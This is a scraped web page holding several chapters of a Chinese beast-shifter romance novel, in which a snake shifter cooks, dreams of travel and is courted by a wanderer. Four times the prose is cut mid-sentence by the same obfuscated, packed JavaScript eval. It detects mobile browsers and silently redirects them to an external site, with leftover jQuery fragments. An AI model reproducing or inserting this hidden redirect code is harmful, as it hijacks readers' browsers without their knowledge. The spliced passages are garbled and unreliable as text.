说到这里，游远想起先前冒出来的想法，来了点精神：“阿爹，我们去当流浪兽人好不好？！” 刚上来的岩丘：？ 他不是很理解：“为什么要当流浪兽人？” “很好玩啊。”游远晃着尾巴尖儿，挨个数：“沙漠峡谷，海洋高原，还有一望无际的冰川，每一样都很漂亮，还有只能生活在那里的植物和猎物，阿爹阿父不想去看看吗？” 阿爹阿父迅速摇头，脸上写满了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267095|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想。 游远：“……” 彳亍口巴。 虽然撒撒娇就能让阿爹阿父带他去当流浪兽人，但游远并不想逼着两人去做他们不想做的事情。 游远安静下来，忍不住又打了个大大的哈欠。 困。 青芽和岩丘见状，接着先前的话题问道：“蛇苍是那个流浪兽人？” “是啊。”游远懒洋洋。 岩丘不由担心地摸了摸崽，“你没被吓到吧？” 游远：？ 娇气包蛇崽顿时就不满意了，“他也不过是长了一张嘴巴两只眼睛，没多什么奇奇怪怪的东西，怎么我就要被吓到啦？你们好瞧不起我！” 他大声控诉，全然忘了昨日对视时的毛骨悚然感。 青芽和岩丘确实很了解崽，但架不住家里这条蛇是个爱耍无赖，这会儿听他不开心了，无奈又无声地叹息一声，熟门熟路地哄道：“哪有瞧不起你，明明是他长得太凶了，让人害怕呢。” “真的？” “真真儿的。” 好哄的大蛇崽安分下来，片刻过去，他又后知后觉生出些许羞赧。 哎呀，他都是成年的大蛇了，怎么还能用兽形撒娇呢。也不知道刚刚有没有乱扭，撞乱周围的布置。 想到这里，游远悄咪咪观察了一圈山洞里的情况，见一切规规整整和睡觉前差不太多，这才放下心来，转移注意力地问道：“你们喊我做什么呀？” “给你送猎物来的。”青芽问他：“是继续睡，还是起来吃点东西？” 游远想了下，选择继续睡，“……橱柜上有单独留出来的松饼，阿爹阿父你们记得拿了吃哦。” 此松饼虽然非彼松饼，但是味道差不多，游远便擅自定了相似的名字。 “好。” 青芽摸摸蛇崽，等他将脑袋抬起来后，才跟岩丘一起下楼。 先把给崽带回来的猎物收拾好切成块，用桶装着放到储藏山洞的深处去，出来时端上放在橱柜上的松饼，夫夫俩结伴离开了蛇崽的领地。 游远方才和阿爹阿父闹了一通，这会儿瞌睡散了不少，他扭着身体在睡觉的山洞里蛄蛹来蛄蛹去，好半天才找了个犄角旮旯的缝隙钻进去，放松下来打了个惬意的哈欠，不一会儿就平缓了呼吸。 － 黑夜在月光的照耀下显现出灰扑扑的蓝色来，星星挂在天空眨着眼睛，地上的兽人各有各的忧思。 青蛇和岩蟒的身体交叠着，脑袋依靠在一起，想着小蛇崽说起‘沙滩海洋’那些东西时，精神奕奕的表情，叹了第不知道多少次的气。 不想出部落。 他们过去百多年一直待在蛇王部落里，只觉得出去流浪的生活会很麻烦，没有分毫的期待。 但是，崽崽很想去。 青芽和岩丘习惯了照顾游远，这会儿便也下意识顺着他的想法思考，开始琢磨要准备一些什么东西，才能让他们在外流浪的日子过得轻松些。 而部落之外，黑蛇顶着空空的兽皮袋游过河流，也在发愁。 怎么就找不到什么特别的东西呢？ 19.第 19 章 “乌蒙山连着山外山，月光洒下了响水滩，有没有人能告诉我……” 游远哼着歌，将切下来的玉米粒倒进石钵中，坐在矮凳上，双腿固定住石钵，拿起沉甸甸的长木杵开始磨玉米。 兽人的力气大，游远三四岁的时候就能扛着柜子在山洞里跑来跑去更换布置，如今手动磨玉米也不觉得费力，很快将把玉米粒磨成了浆，加入米粉和些许淀粉搅拌均匀，就可以进行下一步了。 起锅烧水放上蒸格，游远拿起提前洗干净的粽叶，手指翻转折成三角形之后，添入满满的玉米浆糊，再封口放到蒸格上面。 他准备的玉米浆糊有点多，挤挤挨挨摆着，塞了满满一锅。 勉强将锅盖放好，游远往灶膛里添了两根柴火，抱着弄脏的石钵木杵来到溪水边清洗。 正弄着，领地外传来蛇苍的询问：‘远，我能进来吗？’ 游远有些疑惑，但还是回了句可以。 蛇苍很快来到山洞前，游远正好抱着洗干净的石钵木杵回来，看见他便笑着问道：“有什么事吗？” “嗯。”蛇苍变成人形，打开兽皮袋道：“我抓了只猎物，想和你一起吃。” 嗯？ 游远虽然迟钝，但也知道猎物对兽人而言是很重要的，这会儿不由仔细去看蛇苍的表情。 蛇苍安静地看回来。 “……” 啥也没看出来，游远决定不为难自己，直接问道：“你是想当我的伴侣吗？” 他先一步的询问让蛇苍顿了下，很快点头：“是的，可以吗？” 游远被他问得一噎，嘀咕：“你带着猎物过来之前，也没问我可不可以啊。”嘀咕完，也没等蛇苍的回答，直接好奇地询问：“你为什么想当我的伴侣？” 蛇苍很直白：“你是我见过的最好看的蛇族亚兽。” 好没内涵的回答。 不过…… 游远觉得他还挺有眼光的，压着开心，故作正经严肃地道：“那看你表现吧，说不定我就愿意了呢。” 蛇苍闻言，神色欣喜起来，“我会努力的。” 瞧他这一本正经的，游远不习惯地皱了皱鼻子，抱着石钵木杵绕开对方，说道：“我要去放东西了，你先把猎物处理好。” “嗯。” 轻飘飘的一个字音，愣是透出九曲十八弯的喜悦来。 游远加快了脚步，将石钵和木杵放下之后，才悄悄探出头看向小溪的方向。 蛇苍蹲在溪边处理着猎物，察觉到视线，下意识回头看过去，却只来得及捕捉到一小截划过的青色发尾。 唔，好活泼。 可爱。 · 抓的猎物比较麻烦，等蛇苍带着东西过来时，蒸玉米粑粑已经出锅了，整个厨房里都充斥着香浓的玉米香。 看见蛇苍进来，游远咽下嘴里软糯香甜的玉米粑粑，邀请道：“东西先放下，过来吃这个。” “好。” 蛇苍并未拒绝，他将猎物放到了橱柜上，避开游远甩掉手上的水后，拿起一个还有些烫的玉米粑粑，撕掉表面的粽叶咬了一口。 蛇王部落没有糯米，做玉米粑粑用的是大米粉，刚出锅时最是软糯。玉米香味很浓，游远还往里放了一点冰糖粉末，吃起来甜甜的，再加上粽子叶的香味，轻易就降伏了蛇苍的味蕾。 蛇苍先前就知道游远做的肉干很香，没想到他连植物都能做得这么好吃，现下看向游远的眼睛里都带着光。 游远：“……” 他默默后退了一步，总感觉有些毛毛的，危险。 见状，蛇苍稍稍收敛了一些，夸道：“你做的东西很好吃。” 游远一抬下巴：“那当然了。” 傲娇的模样太过可爱，蛇苍又忍不住盯着他瞧。 在把人瞧得恼怒之前，两道不算陌生，但也称不上熟悉的气息朝着他们所在而来。 游远把剩下的那点玉米粑粑塞嘴里，果断绕过蛇苍跑了出去，朝着游来的两条大蛇张开手，开心地喊：“阿爹阿父！” 好多年没被蛇崽这么热情地迎接过，青芽和岩丘顿时无视了那陌生的蛇兽人气息，变成人形将崽抱了个满怀，笑着揉揉他的发顶，问道：“今天遇到什么开心的事了？” “也没有啦。”游远才不想说自己是被看得不好意思了，跑出来找阿爹阿父贴贴缓解尴尬呢，他拉着两人说道：“你们再不来，玉米粑粑就要被我吃完了。” “吃完就吃完了。”岩丘随意揉了把崽，抬眸看向山洞口的兽人。 蛇苍方才已经放下了没吃完的玉米饼，见岩丘看过来，便朝着人点了点头，说道：“你们好，我是蛇苍，现在在追求远。” 岩丘&青芽：“……” 游远：？？？ 就这么直接说的吗？！都不迟疑紧张一下吗？！ 蛇苍当然不迟疑紧张，兽人从不管幼崽找伴侣的事情，自然也就没有见家长的概念。但是，因着游远，岩丘和青芽成了阿爹阿父中的特殊存在。 岩丘道：“我听说流浪兽人很擅长战斗。” 蛇苍被问得茫然，但还是点头道：“是这样没错。” 岩丘笑着松开崽，走到蛇苍身边，好兄弟似的拍拍他的肩膀，“走走走，咱们去林子里比比，我还没遇到过流浪兽人呢。” 鉴于亚兽对他的阿爹阿父很看重，蛇苍下意识就抬步跟了上去。 游远想说什么，被阿爹捂了嘴。 等到岩丘和蛇苍走远了，游远才语气茫然地道：“阿爹，阿父是要跟蛇苍打架吗？” 听他问，青芽观察着崽的表情，问道：“小远是确定要他做伴侣了，在担心吗？” “没有没有没有。”游远迅速摇头，自有一套逻辑：“就是因为还没确定啊才担心呀——现在打他是不是太早了一点点？” 青芽：“……” 不管多少年过去，崽的脑回路总是能让蛇摸不着头脑。 青芽温柔地教小家伙：“你阿父也不是真要打他，就是想看看他能不能保护你，如果他连你阿父都打不过的话，他就不是很适合当你的伴侣，对不对？” 游远沉吟，好像有点道理。 不过，他有点忧愁，“这样是不是不太礼貌？” 青芽眨眨眼，“当然不会。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278631|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 岩丘这个做阿爹的打的蛇，和小游远有什么关系？ 游远见阿爹这么肯定，勉强放下心来，最后瞧了瞧那两人离开的方向，和青芽一起往山洞里去，说道：“那我们先去吃东西吧，他们应该还要一会儿。” “嗯。” 青芽跟着崽进入厨房。 甜食能够安抚人的情绪，但架不住旁边还摆着蛇苍带来的肉，让游远有些坐不住，时不时就去山洞口探头瞧上一瞧。 青芽盯着小崽，逐渐放缓了吃东西的速度。 游远一扭头，被阿爹吓了一跳，忍不住埋怨，“阿爹，你干嘛呀。” 青芽食不知味，“崽呀，要不，阿爹去把你阿父喊回来？” 游远：？ 崽不是很懂：“阿爹你不是说要看看他的战斗力吗？” 青芽哑然。 见崽一脸理直气壮，真的没有什么不舍，青芽又默默地低下头，啃了一口香香的玉米粑粑。 游远见阿爹不吭声了，就继续探头看外面。 过了好一会儿，岩丘和蛇苍一前一后回来了，两人都鼻青脸肿的，也不知道两条蛇兽人是怎么打伤的脸。 游远跑上前，先瞅阿父，“哎呀，这都黑了。” 蛇苍的视线一直落在游远的身上，闻言下意识解释：“我有收着力气……”想了想，觉得这话说得好像不太行，改而道：“我回去拿药草。” “不用不用，家里有。”游远说着抬头，看清了蛇苍脸上没比岩丘好多少的伤，“……” 他看看阿父，又看看蛇苍，表情一言难尽。 岩丘抬手，搓了把崽头，“这还没你给我注的那口毒来得严重呢，别担心。” 游远：！ 白皙的面容上顿时浮现出一层绯色，游远又恼又羞，“阿父你干嘛又提这件事啊！我那时候还小嘛，又不是故意的。” 委屈。 刚出生的小蛇什么都不知道，不小心给人注了毒多正常啊！ 岩丘咳了声，勉强压住笑意，说道：“不提不提，小远不生气啊。” 游远不是很想搭理他，他一转头，邀请蛇苍道：“走吧，我们进去吃东西，顺带给你脸上上药。” 蛇苍眼睛一亮，“好。” 岩丘：“……” 他连忙追上小崽子，“就不管阿父了？” 游远撇头，“你找阿爹去。” “……” 阿爹在吃玉米粑粑，看见伴侣挎着脸进来，安静地又咬了一口，问道：“吃吗？” 岩丘不吃，他一屁股坐到青芽身边，悲伤道：“远真的是长大了。” 明明以前就算被逗生气了，也会挎着一张包子脸，认认真真给阿父上药的。 青芽拿起个玉米粑粑，撕掉上面的粽叶塞岩丘手里，提醒道：“十年前小远就不管咱们身上的淤青了。” 十五岁的小蛇第一次加入伙伴们的捕猎训练中，跌跌撞撞在林子里生存了三天，终于明白对兽人而言，淤青根本算不得伤。 从那之后，岩丘只要一把人逗生气，游远就会不管他了。 小崽子娇气着呢。 20.第 20 章 作为一条能独自在外流浪的蛇，蛇苍的战斗力是毋庸置疑的，岩丘也就是占了个年长的优势，这才勉强跟蛇苍打了个平分秋色。 因而，阿爹阿父对崽的追求者很满意。 在眼神商议过后，两人卷走了崽给他们准备的那一半玉米粑粑，挥别第一次和追求者相处的小宝贝，回家继续琢磨带崽崽出门玩要准备的东西。 毕竟，蛇苍能不能成为游远的伴侣还说不定呢，他们做阿爹阿父的，得自己努力实现小蛇的愿望才行。 目送两条大蛇消失在林子深处，游远一扭头，就见蛇苍安静地站在门口，一声不吭地默默盯着自己。 “……” 该说不说，怪吓人的。 游远忍不住问道：“你很讨厌发出声响吗？” ？ 蛇苍摇头，“没有。” 习惯性地简短结束掉对话，见亚兽人还在等待后续，蛇苍想了下，又多说了几个字：“流浪的时候遇不到其他兽人，习惯了安静。” 原来是这样。 游远忍了忍，还是没忍住，又追问道：“你这样不会觉得很无聊吗？” 蛇苍重复：“习惯了。” 唔—— 游远不是很能理解。 上辈子的游远也喜欢一个人，不过他很吵，即使是一个人，也能把日子过出一群人的感觉来，被朋友戏评：先天博主圣体。 然后他就成网红了。 见游远沉默不语，蛇苍以为他不喜欢安静的雄性兽人，就道：“我会尽量多说话的。” “啊，不用不用。”游远连忙摆手，“我就是好奇啦。” 作为一个和蚂蚁都能聊上半小时的话痨，游远并不介意别人是否喜欢说话，最多就是有一点点小小的请求：“你能不能别待在我看不到的地方盯着我？” 好吓人的。 蛇苍眨眨眼，察觉到游远的未尽之言，歉意道：“我记住了。” 见人态度认真地应下，游远的心情便愉悦放松下来，开始好奇他带来的那块兽肉要怎么吃。 “我从前是烤着吃的，里面的肉会很嫩，咬开之后还有汁水。”蛇苍回忆着，给游远分享。 游远有被馋到，悄咪咪地咽了口口水，期待道：“那我们就一半烤一半煎吧，好不好？” 这肉真有蛇苍说得那么好的话，用来煎肉排肯定也超香的。 “好。” 说定，两人忙活开来。 将肉分成一大一小两半，游远拿着小的那块肉，全部切成大小薄厚相似的肉块，一会儿用来煎。 蛇苍则是在厨房里侧的火塘里生了火，摆上石架，又弄来干净的木棍固定好肉放上去，趁着烤肉的时间，在游远摆在橱柜上的那些调味中，挑着认识的种类调了个烧烤料汁。 两人各干各的，很快就准备好了。 游远将肉块放到火焰石石板上煎制，看着嫩粉的肉块缓缓定型，散发出些许香味来，眼睛忍不住亮起。 这个肉闻着不腥哎！ 想着尝尝肉原汁原味的口感，游远便没放其他东西，等到肉排底部定型后，游远用夹子按着晃了晃，使得肉排从石板上脱离，翻面继续定型。 蛇苍给烤肉刷了一层料汁，过来看见这一幕，疑惑问道：“不放别的东西吗？” “我先试试味道。”游远眼睛亮晶晶的，“好吃的话我就把黄油拿出来。” 黄油？ 又是一个蛇苍没听过的东西。 说话间，第一块肉排已经煎好了，游远将其夹了下来，从空间中取出把剪刀，将肉排剪成拇指粗的长条。 肉煎的八分熟，里面还带着些许粉色，介于熟了但口感还带着点嫩的区间，随着游远落剪，肉汁顺着流淌到碟子里，香味扑鼻。 游远几乎是迫不及待地叉了一块肉送到嘴里，肉嫩而美，吃起来肉香中还带着些许奶味，味道口感都很不错。 “你也吃啊。” 见蛇苍看着自己不动，游远把另一把叉子塞他手里，催促着人动手。 “嗯。” 蛇苍叉了一块吃下，心思却没在肉上。 已经不是第一次了，小亚兽似乎有很特殊的能力，能够拿到本来不在他身边的东西。 有些好奇。 游远没注意到蛇苍的状态，在柜子上挑挑拣拣，拿了一小盒特调的椒盐粉出来，细细地洒在肉条上面。 刚煎好的肉还带着滚烫的热意，椒盐粉一落上去，就被激发出了香味来。 游远咕咚咽了下口水，又叉了一条肉送到嘴里。 咬破肉排表面的焦香之后，内里依旧是鲜嫩的，不过肉汁随着挤压流淌而出时，使得椒盐的滋味也弥漫开来，好好吃的！ “这些你吃吧。” 游远吃完一条，连着盘子把剩下的塞到了蛇苍手里，重新回到灶台边，将火焰石板换成了平底锅，从空间里取出一小盒黄油来。 别看少。 这一小盒黄油，是游远拉着阿父哼了好久，才得来的牛奶提炼而成。 两年过去，愣是只吃了一半去。 蛇苍就在旁边，看着游远珍惜地切了一小块黄油下来，放到平底锅里滑动。 火焰石制成的平底锅升温很快，黄油不一会儿就化了，游远再度放上一块肉排，看着火候，手上快速剥着大蒜。 蛇苍问道：“这个黄油很难弄到吗？” “嗯。”游远点头，“要收集很多哞兽的兽奶，才能做成这么一点点。” “哦……” 蛇苍本来还想去弄了来，用以讨小亚兽的欢心呢，现下听是兽奶制成的，只好遗憾放弃这一想法。 大部分猎物进入炎季之后就不会产奶，哞兽的带崽时间又长，他想要在蛇王部落附近找到游远想要的兽奶的话，至少得等到明年复苏季才行。 黄油在高温下释放出浓郁的奶香来，平底锅微微倾斜，将大蒜丢进去煎香，再用煎过大蒜的黄油淋在肉块上。 临出锅时，游远撒了些黑胡椒和迷迭香的粉末在肉上，高兴地邀请蛇苍：“再尝尝这个。” 蛇苍这回没再出神，与游远同时伸筷子，夹了一块肉送到嘴里。 同样的肉，味道却不太相同了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285460|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醇厚的黄油使得奶香味更加明显，也避免了原本煎制时应有的些许焦苦味，黑胡椒粉带着些微的辛辣，再加上食盐的咸香和迷迭香的滋味，确实比之前好吃了许多。 游远一顿向来是不多吃的，尝了半块，剩下的又归了蛇苍，自己凑到了烤肉的旁边，拿干净的筷子敲了敲肉表壳，然后端起蛇苍调的料汁，开始刷。 蛇苍跟过来，“你不吃了吗？” “不吃了。”游远摇头，“吃太饱，一会儿就吃不下烤肉了。” 闻言，蛇苍皱眉，“吃得好少。” 自从到了兽世之后，游远就经常被这么说，这会儿就道：“吃得少也没事啊，我一天可以吃好多顿呢。” 又不用上班又不用伺候老小，因为游不快，游远甚至不用去参加采集队，一天到晚悠闲自在的，大半时间都花在了吃上。 蛇苍眨眨眼，问道：“远很喜欢做食物吗？” “是啊。”游远放下料汁，“美食出锅的那一刻，就会感觉很开心。” 蛇苍不得不承认游远是对的。 烹饪过的食物确实比没有处理过的更让蛇高兴。 烤肉需要一会儿，游远和蛇苍都嫌火焰太热，变成兽形泡到了小溪里，偶尔蛇苍会估计着时间，起身去看看烤肉的情况。 游远刚开始和蛇苍聊着天，还有心情顾及一下形象，等到蛇苍见他在打哈欠，主动停下话题之后，就不由得睡翻了肚皮，脑袋也从石头转移到了肚皮上，睡得很是香甜。 蛇苍最后给烤肉刷了一遍调味汁，来到小溪边，也没有变成兽形，就这么坐在距离青蛇不远的位置，安静地看着他。 游远的兽形也很漂亮，是那种匀称变化的形态，可能是饮食习惯的原因，他的兽形瘦许多，显得极其纤长。不过色泽鲜艳鳞片光滑明亮，一瞧就是被养得很好的。 正发着呆呢，眼角余光捕捉到一条细长的淡绿色存在。 蛇苍垂眸看去，是游远的尾巴。 溪水里的鱼儿可能是将其当作了食物，正追着青蛇细长的尾巴尖跑，初时只有一条，随着游远的摆尾，数量很快多了起来。 好看，可爱。 蛇苍想着，好半晌才想起什么，起身来到游远身边，要帮他驱赶鱼群。 “哗——” 蛇尾抬起，破开水面。 游远睁开眼，盯着尾巴尖上那条鱼，眼神幽怨地看向蛇苍。 控诉：“你怎么就看着它们咬我啊。” 蛇苍心虚地摸摸鼻子，伸手快速将那条小鱼从他尾巴上掰了下来，说道：“我不是故意的，绝对没有下次。” 青蛇不开心地拍了两下水面，变成人形上了岸，脑筋一转很快又活泼起来，期待地看向蛇苍：“我们抓小鱼来炸小鱼干吃吧！” 被他眼睛亮晶晶的瞧着，蛇苍几乎没有过脑，就开口回答道：“好。” 蛇兽人食量大，游远还想给阿爹阿父做一份，需要捞不少小河鱼才行，因而他并不着急动手，听蛇苍答应，便开开心心地被烤肉香勾回了厨房。 捞鱼可是体力活呢，得吃饱先！ 21.第 21 章 兽肉烤好了。 蛇苍动手将其搬了下来，转身就见厨房的空地上多了张大桌子，游远把直径一米多的椭圆形盘子放到桌上，招呼蛇苍：“放这里，别弄脏了。” 蛇苍绕过灶台来到游远面前，将烤肉放到了桌子上。 游远摆好碗筷，又分了把小刀给蛇苍，坐下来后，期待满满地看向蛇苍，等人坐下好开餐。 蛇苍有些不解，想了下，给他切了块最漂亮的肉。 咦？ 游远从来只在阿爹阿父那有这个待遇，这会儿被投喂，感觉有点怪怪的，却也只当是蛇苍的小习惯，就顺理成章地接受了。 他将肉在碟子上摆好，切了一小块下来品尝。 烤好的兽肉油脂香醇，外焦里嫩，细腻多汁，奶香味浓郁，肥瘦相间的地方还有一点点的脆感。 哇——好好吃。 就是这滋味怪熟悉的。 游远吃着，努力回忆了下，凭借兽人超乎寻常的绝佳记忆力，确定自己过去二十五年没吃过这种兽肉。 算了，管他呢，好吃就行了。 游远又吃了一口肉，满足得眼睛都眯起了，问蛇苍：“这个猎物叫什么啊？是在哪里抓到的？” 可以告诉阿爹阿父，之后也能经常吃到，嘿嘿~ 蛇苍闻言，说道：“比较远。部落之外很多猎物都没有名字，你想吃的话，我之后再给你抓过来。” “啊。” 让他帮忙抓的话，游远就有些不好意思了。 见游远纠结迟疑，蛇苍也没有追着说这事，只是心里琢磨着，晚上再出去给抓两只。 这样的话，明天就也能来找游远了。 游远不知道蛇苍的想法，又切了块烤肉下来吃了，见蛇苍瞧着自己，就眉眼弯弯地朝人露出个笑。 蛇苍下意识跟着弯了唇角。 两块烤肉下肚，游远又饱了，他在空间里翻翻找找，取出一罐子泡萝卜来，拿碗夹了一些邀请蛇苍：“尝尝这个，酸酸甜甜带点辣，可好吃了！” 泡萝卜是用红萝卜做的，色泽粉嫩漂亮，带着扑鼻的酸甜香味。 蛇苍顺着游远的意思夹了一根送入口中，入口的第一瞬间却是甜的，然后才是酸香，辣味后知后觉蔓延而来，又刺激得人口齿生津。 游远一直在观察蛇苍的表情，见人眼睛越来越亮，明显是喜欢的。他心情一下子就好了，把泡萝卜放到蛇苍手边，开心道：“喜欢就都吃了，我这儿还有好多呢，等下给你加。” “不用。”蛇苍道，“这些就够了。” “真的？” “真的。” 兽人脑袋里就没有寒暄客气这一个概念，游远在这里久了，也早已把这种习惯抛诸脑后，这会儿听蛇苍这么说，就直接把东西收回了空间里。 蛇苍吃了两块萝卜，见游远不怎么动筷子了，问道：“你又饱了吗？” “是啊~” 蛇苍：“……” 他到底没忍住，偷偷瞧了眼游远的肚子。 唔，好平。 … 也白。 － 白日里的森林是清新透亮的绿，溪水被阳光照耀得清澈见底，偶尔有水花飞溅而起，成了飞舞的珍珠。 一只白皙修长的手飞速伸出，逮住了在溪水悠闲晃悠的小鱼，在它挣脱之前便将其丢入旁边的竹篓里。 竹篓底部浸在溪水中，小鱼在里面挤作一团。 游远蹲下来，累了。 他扭头去看不远处的蛇苍，高大的雄性兽人还在弯腰抓小河鱼，他手里的竹篓都快装满了，也不知道是怎么逮那么快的。 都是兽人，都是眼力反应力很快的存在，人家愣是强一大截。 “你弄好多哦。”游远一下子就凑到了他面前去。 视野里忽然闯入一抹青色，蛇苍看着那柔顺的长发，恍惚好像闻到了点浅淡的香味，感受到发丝从手臂上划过，他终于回过神来，“都比较小，只是看着多。” 游远伸出手指搅了搅里面的小鱼，站起身笑眼弯弯地朝人道：“就是要小的才好吃啊，我那里好多都抓得太大了呢，还是你厉害。” 被夸，蛇苍忍不住勾唇：“嗯。” 他是很俊朗的长相，但可能是独自流浪久了，又习惯于隐藏自己的存在的原因，总给人一种阴冷的既视感。现下这一笑，更是激得人心肝猛颤，只觉得阴邪又危险。 游远连忙转移话题：“差不多了，我们回去吧。” 蛇苍直觉有些不对，但游远已经撇开了头，看不清表情，他只好道：“那走吧。” 闻言，游远脚下步伐加快，拎起自己那个竹篓，朝着身后的人拖长声音道：“走啦走啦，你快点儿~” 蛇苍被他的活泼感染，快步跟上。 小河鱼处理起来很简单，剪刀开个口子，将里面的内脏挤出来，再在水里刷洗一下就行。 游远教过蛇苍后，哼着歌忙活起来。 不一会儿，旁边的盆里就堆了满满当当的小河鱼。起锅烧热油，等到油温合适，再将小河鱼一条条下入油锅之中。 这种指节长的小东西没什么腥味，在油锅里翻滚着，很快飘出浓郁的香气来，捞出一份，开始炸另一份。 蛇苍在旁边看了会儿，说道：“我来吧。” “好啊。” 游远将大厨位置交出去，自己在旁边尝了口酥脆的炸酥鱼，美滋滋地开始调味。 小酥鱼什么都不放就很好吃，也可以放点椒盐粉或者辣椒粉，游远准备了三样，一样夹了些放在蛇苍手边，给这个努力干活的客人尝尝，然后探头出去喊阿爹阿父。 隔壁领地。 青芽疑惑回头，“小酥鱼？” 岩丘拎着把骨刀正在掏树芯，闻声表情古怪道：“他跟雄性兽人相处，喊咱们去干什么？” 青芽：“……” 问得很好，下次别问了。 崽有没有把追求这事放在心上都不一定呢。 腹诽归腹诽，小崽崽的呼唤还是要回应的，岩丘放下手里的刀，和青芽一起往游远的领地而去。 游远听到回应就缩回了脑袋，转身见蛇苍还没有吃小河鱼，疑惑道：“不喜欢吗？” “没有。”蛇苍摇头。 游远眨眨眼，见人又没话了，便转移了注意力，去看他炸好的小酥鱼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289568|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 金黄酥脆的小鱼看着还不错，游远捏了条尝，同样是外酥里嫩的口感，香香的很美味，游远偷偷去看蛇苍，雄性兽人比他要高一个脑袋，这会儿正垂着眼，认真地看着锅里的小河鱼。 像是察觉到他的视线，疑惑地抬眸看来，“怎么了？” 游远忙收回视线，说道：“要不我来吧，你也吃啊。” “就一点点了，我来就好。”蛇苍道。 “哦……” 小河鱼是他要吃的，厨房也是他的，但这会儿干活的人成了蛇苍，游远总觉得哪里怪怪的。 不等他脑子转过弯来，青芽和岩丘已经靠近领地。 游远便将奇怪的感觉压了下去，跑到山洞口朝外张望。青芽和岩丘进崽领地进得十分熟练，没一会儿就出现在了游远的视野范围内。 “小远。” 青芽变成人形，先伴侣一步来到崽子身边，视线往厨房里一扫，看见了在埋头炸小酥鱼的蛇苍。 “……” “我们刚刚去捞了好多小河鱼，阿爹阿父你们是在家里吃，还是带回去吃？” 岩丘和青芽听了，心道一声果然。 和游远关系好的兽人来家里时，也是这么个玩耍内容，抓小型猎物，做吃的，聊天，等到天黑就拜拜。 两人这会儿再看蛇苍，莫名就觉得这小子有点可怜。 不过崽崽能有什么错呢？ 青芽温柔地顺过游远的长发，说道：“我们带回去吃，家里的事情还没忙完呢。” “哎？”游远疑惑，“什么事啊？” 青芽笑而不语。 岩丘从游远身边进去，说道：“等准备好了再跟你说。” “好的吧~” 阿爹阿父的秘密最难撬了，游远才不为难自己呢。 夫夫俩也没有在这多留，端着崽分给他们的那部分小酥鱼，便跟两个小的告别了。 游远坐在小板凳上，托腮看着阿爹阿父消失在林子里，心里跟有痒痒挠似的，很想偷偷追上去，瞧瞧阿爹阿父在做什么。 他太过心不在焉，蛇苍见了，心里轻叹一声，开口道：“远，我也先回去了。” “哎？”游远回头，下意识问：“为什么？” 话出口后，游远接着就反应过来，抓着脸有些不好意思地道：“你是不是觉得很无聊啊，对不起哦，我不是故意的。” 他有一点点黏阿爹阿父，以前跟小伙伴们玩时也经常这样，只是那时大家吵吵闹闹的，他跑开也没什么，现在就蛇苍一个在这里，好像是有些不礼貌。 蛇苍垂眸看着蹲成一团的游远，心里软软的，说道：“没有，我很开心，只是，你可能更想去找青芽和岩丘，看看他们在做什么？” 游远闻言，眼睛微微亮起。 他确实很想去，于是便追问道：“你真的没觉得无聊吗？” “当然。”蛇苍尽量说得详细，“我在这里待了很久，你也一直在，很开心的。” 直白、近乎陈情的话语听得游远耳根有点烫，他后知后觉地想起来，面前这个人是他的追求者，而他，跟人玩了大半个白天。 哎呀，这真的是…… 22.第 22 章 蛇苍走了。 游远搓了把脸，将莫名浮现的羞涩压下去，拿着自己那份小酥鱼，开开心心地出了领地，一路往阿爹阿父所在而去。 他兽形不太灵活，一路用人形悄咪咪靠近着。 等到能够看见阿爹阿父身影的时候，便将手里的碗丢到了空间里，扒着树干探出个脑袋。 嗯？ 削木头？ 游远不是很理解地偏了偏脑袋，这有什么好瞒着他的啊。 小崽子的窥视实在是藏得不太好，岩丘将削下来的薄木板丢到一边，抬起头，一眼就锁定了那颗青色的脑袋。 被发现了。 游远半点都不心虚，大大方方地跑过来，探头瞧了瞧那木头，好奇道：“阿父，你这是在做什么呀？” 岩丘：“箱子。” 游远：？ 